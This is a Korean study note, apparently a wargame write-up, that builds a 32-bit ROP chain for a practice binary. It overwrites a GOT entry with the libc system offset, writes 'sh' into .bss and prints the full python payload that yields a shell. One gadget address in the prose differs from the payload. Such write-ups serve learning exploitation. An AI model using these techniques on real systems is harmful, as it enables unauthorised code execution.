이를 이용해 system("sh")로 쉘 얻기!!
일단, memory leak을 해야 한다.
__libc_start_main : 0xb7e1c500
__libc_system : 0xb7e3e850
offset: 0xb7e3e850-0xb7e1c500=0x22350
0x80482c0은 __libc_start_main의 plt
0x804a00c는 __libc_start_main의 got
0xb7e1c500은 실함수
0x80482c0와 0x804a00c는 바뀌지 않지만, 0xb7e1c500은 바뀐다.
0x804a00c에 있는 어떤 값 x에 offset을 더하면 __libc_system주소가 됩니다!!
system함수의 인자 sh를 만들어야 한다.
bss 부분에 넣자
0x804a018은 IDA에서 보면 알 수 있듯이 write할 수 있는 부분이고,
gdb로 확인했을 때, 모두 0으로 되어있음을 알 수 있다.
0x804a018에 s를 0x804a019에 h를 넣자.
ROPgadget을 이용하면 우리가 이용할만한 gadget을 볼 수 있다.
gadget1: 0x080483db add [ebx], eax ; retn
gadget2: 0x080483de mov eax, ebx ; ret
0x080482ad : pop ebx ; ret
우리가 이용할 gadget이다.
0xbffff46c에 들어간 값에서 ret이 이루어지므로,
0xbffff46c-0xbffff368=260
260개는 아무거나 채우고, 그 다음 4byte로 프로그램의 흐름을 바꿀 수 있다.
A*260+
0x0804a018에 s넣기: 0x080482ad+0x73(s)+0x080483de+0x080482ad+0x0804a018+0x080483db+
0x0804a019에 h넣기: 0x080482ad+0x68(h)+0x080483de+0x080482ad+0x0804a019+0x080483db+
__libc_start_main할때 __libc_system실행될 수 있도록 메모리 릭: 0x080482ad+0x22350(offset)+0x080484de+0x080482ad+0x0804a00c+0x080483db+
__libc_system 이용 0x080482c0(plt)+"BBBB"+0x0804a018(system함수 인자)
r < <(python -c 'print "A"*260+"\xad\x82\x04\x08"+"\x73\x00\x00\x00"+"\xde\x83\x04\x08"+"\xad\x82\x04\x08"+"\x18\xa0\x04\x08"+"\xdb\x83\x04\x08"+"\xad\x82\x04\x08"+"\x68\x00\x00\x00"+"\xde\x83\x04\x08"+"\xad\x82\x04\x08"+"\x19\xa0\x04\x08"+"\xdb\x83\x04\x08"+"\xad\x82\x04\x08"+"\x50\x23\x02\x00"+"\xde\x83\x04\x08"+"\xad\x82\x04\x08"+"\x0c\xa0\x04\x08"+"\xdb\x83\x04\x08"+"\xc0\x82\x04\x08"+"BBBB"+"\x18\xa0\x04\x08"')
쉘이 따진다!!
cf
MOV EAX, EBX 의 경우 EBX 레지스터를 EAX에 대입한다.
MOV EAX, [EBX] 로 표현되어 있는 경우에는 EBX가 가리키는 값을 EAX에 대입한다.
add [ebx], eax: eax를 ebx에 적힌 값에 더한다.